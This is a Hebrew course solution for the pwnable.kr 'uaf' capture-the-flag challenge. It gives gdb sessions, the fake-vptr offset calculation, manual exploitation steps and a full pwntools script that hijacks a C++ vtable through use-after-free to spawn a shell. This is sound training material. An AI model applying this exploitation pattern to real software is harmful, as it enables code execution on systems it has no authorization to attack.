7.2 שימוש לאחר שחרור פתרון
פתרון - שימוש לאחר שחרור¶
נעבור תרגיל אחרי תרגיל עם הפקודות האמיתיות, פלט gdb, וה-exploit המלא. הכתובות שמופיעות כאן הן מהבינארי של pwnable.kr; הן קבועות כי הבינארי הוא No PIE. תמיד תאמתו אותן בעצמכם ב-gdb לפני שתקשיחו אותן, כי גרסאות מהדר שונות עלולות לזוז.
פתרון תרגיל 1 - חימום מקומי על vtable¶
מהדרים את הדמו מההרצאה ובודקים הגנות:
$ g++ -no-pie -o vuln vuln.cpp
$ checksec --file=./vuln
RELRO STACK CANARY NX PIE
Partial RELRO Canary found NX enabled No PIE
עוקבים אחרי ה-vptr לאורך שלושת הצעדים ב-gdb:
$ gdb ./vuln
pwndbg> b main
pwndbg> run
pwndbg> ni # until after new Human()
pwndbg> x/gx m
0x4052a0: 0x0000000000404d50 # valid vptr -> vtable of Human (slot0)
בוחרים 3 (free) וממשיכים, ואז מסתכלים שוב:
pwndbg> x/gx m
0x4052a0: 0x0000000000000000 # the vptr was overwritten by the fd pointer of the bin (here NULL)
זו ההוכחה החיה למה שאמרנו בהרצאה: עצם ה-free השחית את ה-vptr. אם נקרא ל-use עכשיו, m->introduce() יקרוס. אחרי ההקצאה שממחזרת ומוילאת, ה-vptr הופך למה שאנחנו כתבנו, ו-[vptr+8] מקפיץ ל-give_shell. הסקריפט מההרצאה סוגר את המעגל ופותח shell.
למה זה עבד: ראינו את שלושת השלבים בעיניים - שחרור שמשחית vptr, מיחזור שכותב vptr מזויף, וקריאה וירטואלית שקופצת ליעד שלנו. איך להכליל: כל UAF על אובייקט C++ מתנהג ככה - הבית הראשון הוא ה-vptr, והוא היעד.
פתרון תרגיל 2 - קריאת המקור¶
התשובות מתוך uaf.cpp:
- use קורא
m->introduce()ואזw->introduce(). after מקצהnew char[atoi(argv[1])]וקורא לתוכו מהקובץargv[2]. free עושהdelete m; delete w;. - אופציה 3 משחררת שני אובייקטים: קודם m ואז w. לכן ב-bin הראש הוא w (שוחרר אחרון) ואחריו m.
- הגודל מגיע מ-
argv[1]דרךatoi, והתוכן מהקובץ ב-argv[2]דרךread. אנחנו שולטים בשניהם - זה בדיוק מה שהופך את האתגר לפריך. - גודל האובייקט הוא 24 בתים (0x18): vptr (8) + int age עם alignment padding (8) + string מסוג ישן, מצביע יחיד (8). לכן
new char[24]נופל לאותה מחלקת גודל כמו האובייקט (chunk 0x20). - במחלקה
Human,give_shellמוכרזת ראשונה -> slot 0, ו-introduceשנייה -> slot 1.
אימות גודל האובייקט ב-gdb - שמים breakpoint על ה-operator new ובודקים את הארגומנט (הגודל) ב-rdi:
למה זה חשוב: ה-24 הזה הוא בדיוק המספר שנעביר ב-argv[1]. הקצאה בגודל אחר תיפול ל-bin אחר ולא תמחזר את האובייקט.
פתרון תרגיל 3 - מציאת הכתובת לכתיבה¶
קודם כתובת הפונקציה עצמה (רק כדי לזהות אותה בטבלה):
עכשיו הכתובת שבאמת מעניינת אותנו - ה-vptr האמיתי (כתובת slot 0). עוצרים אחרי שהאובייקטים נוצרים ומסתכלים על m:
$ gdb ./uaf
pwndbg> b *main+??? # after both new calls; or just b main; then a few ni
pwndbg> run 24 /tmp/pwn
pwndbg> x/gx m
0x...: 0x0000000000401570 # the vptr = address of slot 0
pwndbg> x/2gx 0x401570
0x401570: 0x0000000000400ec4 <_ZN5Human10give_shellEv> # slot 0 = give_shell
0x401578: 0x0000000000400f52 <_ZN3Man9introduceEv> # slot 1 = introduce
מצוין. slot 0 יושב ב-0x401570 ומכיל את give_shell (0x400ec4). הקריאה של introduce מבצעת call [vptr+8]. אנחנו רוצים ש-[vptr+8] יהיה give_shell, כלומר ש-vptr+8 יצביע ל-0x401570. לכן:
זו הכתובת שנכתוב לבית הראשון של האובייקט הממוחזר.
למה זה עבד: מיחזרנו את ה-vtable האמיתי במקום לבנות אחד מזויף. בהזזה של 8 בתים אחורה, מה ש-introduce חושב שהוא slot 1 הוא בעצם slot 0 = give_shell. איך להכליל: הנוסחה תמיד slot_של_היעד - (offset_ה-slot_שנקרא). כאן היעד הוא slot 0 והקריאה היא ל-slot 1 (offset 8), אז מחסירים 8.
פתרון תרגיל 4 - בניית הקובץ וההרצה הידנית¶
יוצרים קובץ עם ה-vptr המזויף 0x401568 ב-little-endian:
$ python3 -c "import sys; sys.stdout.buffer.write(b'\x68\x15\x40\x00\x00\x00\x00\x00')" > /tmp/pwn
# or in short:
$ echo -ne '\x68\x15\x40\x00\x00\x00\x00\x00' > /tmp/pwn
מריצים עם הגודל 24 בתור argv[1] והקובץ בתור argv[2], ולוחצים על התפריט בסדר הזה:
$ ./uaf 24 /tmp/pwn
1. use
2. after
3. free
3 <-- free: frees m and w (both to the bin, head is w)
1. use
2. after
3. free
2 <-- after: allocates 24 bytes -> recycles w, writes it a fake vptr
your data is allocated
1. use
2. after
3. free
2 <-- after: allocates another 24 bytes -> recycles m, writes it a fake vptr
your data is allocated
1. use
2. after
3. free
1 <-- use: m->introduce() calls [vptr+8] = give_shell -> shell!
$ id
uid=1000(uaf) ...
$ cat flag
הסדר קריטי: 3, 2, 2, 1. שחרור אחד, שתי הקצאות, ואז שימוש.
למה שתי הקצאות ולא אחת? כי free השחית את ה-vptr של שני האובייקטים (הכניס להם מצביע fd). הקצאה ראשונה ממחזרת את w (ראש ה-bin) וכותבת לו vptr טוב; הקצאה שנייה ממחזרת את m וכותבת לו vptr טוב. אופציה 1 קוראת m->introduce() תחילה, אז m חייב להיות ממוחזר. אם היינו מקצים פעם אחת בלבד, m היה נשאר עם vptr זבל ו-use היה קורס לפני שהגיע ל-give_shell.
אם מזינים את הפקודות דרך pipe (למשל בסקריפט shell), מסיימים ב-cat כדי להשאיר את ה-stdin פתוח ל-shell שנפתח:
למה זה עבד: מיחזרנו את שני הבלוקים המשוחררים והחלפנו את ה-vptr שלהם ב-0x401568, כך שהקריאה הווירטואלית הראשונה קפצה ל-give_shell. איך להכליל: זה דפוס העבודה של כל UAF-vtable - שחרר, מחזר-ומלא את כל האובייקטים שייגעו בהם, ואז הפעל את הקריאה הווירטואלית.
פתרון תרגיל 5 - אוטומציה עם pwntools¶
הסקריפט המלא. הוא מכין את הקובץ, מריץ עם הארגומנטים הנכונים, שולח את רצף התפריט ופותח shell:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./uaf')
# fake vptr = slot0 minus 8. Computed from the vtable symbol if it exists, otherwise a hardcoded value from gdb.
try:
fake_vptr = elf.symbols['_ZTV3Man'] + 8 # (vtable+16) - 8 = slot0 - 8
except KeyError:
fake_vptr = 0x401568 # from gdb: slot0 (0x401570) - 8
# write the file that the binary will read (argv[2])
with open('/tmp/pwn', 'wb') as f:
f.write(p64(fake_vptr)) # the first 8 bytes = the vptr
# uaf is an SSH challenge: there is no network port. Run the script on the server itself (after
# connecting via ssh) as a local process, or run it against an identical copy of the binary on your machine.
p = process(['./uaf', '24', '/tmp/pwn'])
p.sendlineafter(b'3. free', b'3') # free -> dangling pointers
p.sendlineafter(b'3. free', b'2') # after -> recycles w
p.sendlineafter(b'3. free', b'2') # after -> recycles m
p.sendlineafter(b'3. free', b'1') # use -> give_shell
p.interactive()
הרצה מקומית של עותק זהה של הבינארי:
$ python3 exploit.py
[*] '/home/uaf/uaf'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
[+] Starting local process './uaf': pid 12345
[*] Switching to interactive mode
$ id
uid=1000(uaf) ...
$ cat flag
הערה על ה-vtable של Woman: אנחנו כותבים את אותו 0x401568 גם ל-m וגם ל-w. עבור m זה slot0 של Man, עבור w הקריאה תגיע גם היא ל-give_shell דרך אותו slot. אבל מכיוון ש-m->introduce() נקרא ראשון, ה-shell נפתח עוד לפני ש-w בכלל נוגע - החשיבות של החלפת שניהם היא רק למנוע קריסה על vptr זבל.
למה זה עבד: sendlineafter מסנכרן אותנו מול הדפסות התפריט, שתי ההקצאות ממחזרות את שני האובייקטים, וה-vptr המזויף מפנה את הקריאה הווירטואלית ל-give_shell. איך להכליל: זה השלד לכל אתגר UAF-vtable - החליפו את מספר ההקצאות ואת ערך ה-slot לפי המבנה של האובייקט ביעד, והשאר זהה.